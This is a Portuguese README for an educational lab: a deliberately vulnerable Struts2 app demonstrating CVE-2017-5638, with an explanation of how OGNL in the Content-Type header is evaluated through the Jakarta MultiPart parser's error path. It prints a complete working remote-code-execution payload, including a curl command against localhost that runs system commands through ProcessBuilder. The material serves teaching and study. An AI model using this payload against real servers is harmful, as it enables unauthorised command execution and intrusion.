
Aplicação Struts2 Vulnerável à CVE-2017-5638. Explica como o exploit da vulnerabilidade funciona em relação ao OGNL e ao parser JakartaMultiPart.
Isto é apenas para fins educacionais e de pesquisa. Não autorizo nem endosso qualquer uso ilegal ou antiético do conteúdo ou das informações deste projeto
Para executar o webapp:
Para enviar comandos, use o emulador de linha de comando (Send.jar) projeto:
url vazia assume como padrão http://localhost:8080/MSCybersecurity/exploit, você deve estar no endpoint /exploit

Se quiser modificar este código-fonte, o projeto usa o sistema de build Maven:
NVD CVE-2017-5638
O aspecto engenhoso desta vulnerabilidade é a exploração da OGNL (Object Graph Navigation Library).
A OGNL usa expressões para executar tarefas, e duas das expressões permitidas são a capacidade de invocar classes arbitrárias no framework e encadear eventos. Guia de referência OGNL Language Guide.
Então, por exemplo, é possível instanciar o objeto edu.uvu.ms.cybersecurity.Command com OGNL
// OGNL expression to instantiate Command obj
(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity'))
A classe edu.uvu.ms.cybersecurity.Command
// Command simply prints the cmd argument passed from the OGNL expression
public class Command {
private Object cmd;
public Command(Object cmd){
this.cmd = cmd;
}
private void print(){
System.out.println("OGNL recieved cmd: "+this.cmd);
}
public void print(String loc){
System.out.println("OGNL recieved cmd: "+this.cmd+" from "+loc);
}
}
Ou, de forma mais prática, pode-se invocar a classe java.lang.ProcessBuilder para executar comandos de nível de sistema
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())
O payload a seguir contém um comando para invocar edu.uvu.ms.cybersecurity.Command, imprimir o comando enviado ao servidor no console e, em seguida, executar o comando. (para ilustrar o encadeamento de eventos e a invocação de classes)
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Entregue o payload com o CURL
curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" -X POST http://localhost:8080/MSCybersecurity/exploit
Uma parte deste payload foi extraída do Rapid7 GitHub
O Jakarta MultiPart Parser:
A questão é como o Parser não escapa os valores recebidos no cabeçalho Content-Type. Isso significa que uma expressão OGNL pode ser empacotada no cabeçalho Content-Type. Quando o cabeçalho é identificado como MultiPart, ele o envia para OgnlTextParser.class, que simplesmente interpreta a expressão OGNL e, consequentemente, acaba executando comandos arbitrários.
A seguir, uma visão passo a passo de como essa vulnerabilidade é explorada.
O Struts2 Dispatcher: org.apache.struts2.dispatcher.Dispatcher
O Struts Dispatcher.class recebe a requisição e determina que ela deve ser tratada pela biblioteca JakartaMultiPart, invocando o construtor MultiPartRequestWrapper()

A expressão OGNL do cabeçalho Content-Type é então passada para o método parse(). Como as informações do cabeçalho são inválidas, o parser lançará uma exceção e chamará o método buildErrorMessage()

O método buildErrorMessage() tenta encontrar uma mensagem de erro apropriada para retornar ao usuário; no entanto, para fazer isso, ele precisa usar o método findText() da LocalizedTextUtil.class

O método findText da LocalizedTextUtil.class, por sua vez, chamará getDefaultMessage() e passará as informações do Content-Type

O método getDefaultMessage() delegará então para o método translateVariables() da TextParseUtil.class

O método translateVariables() da TextParseUtil.class delega para o método evaluate da OgnlTextParser.class

O resultado é que quaisquer expressões OGNL são agora executadas
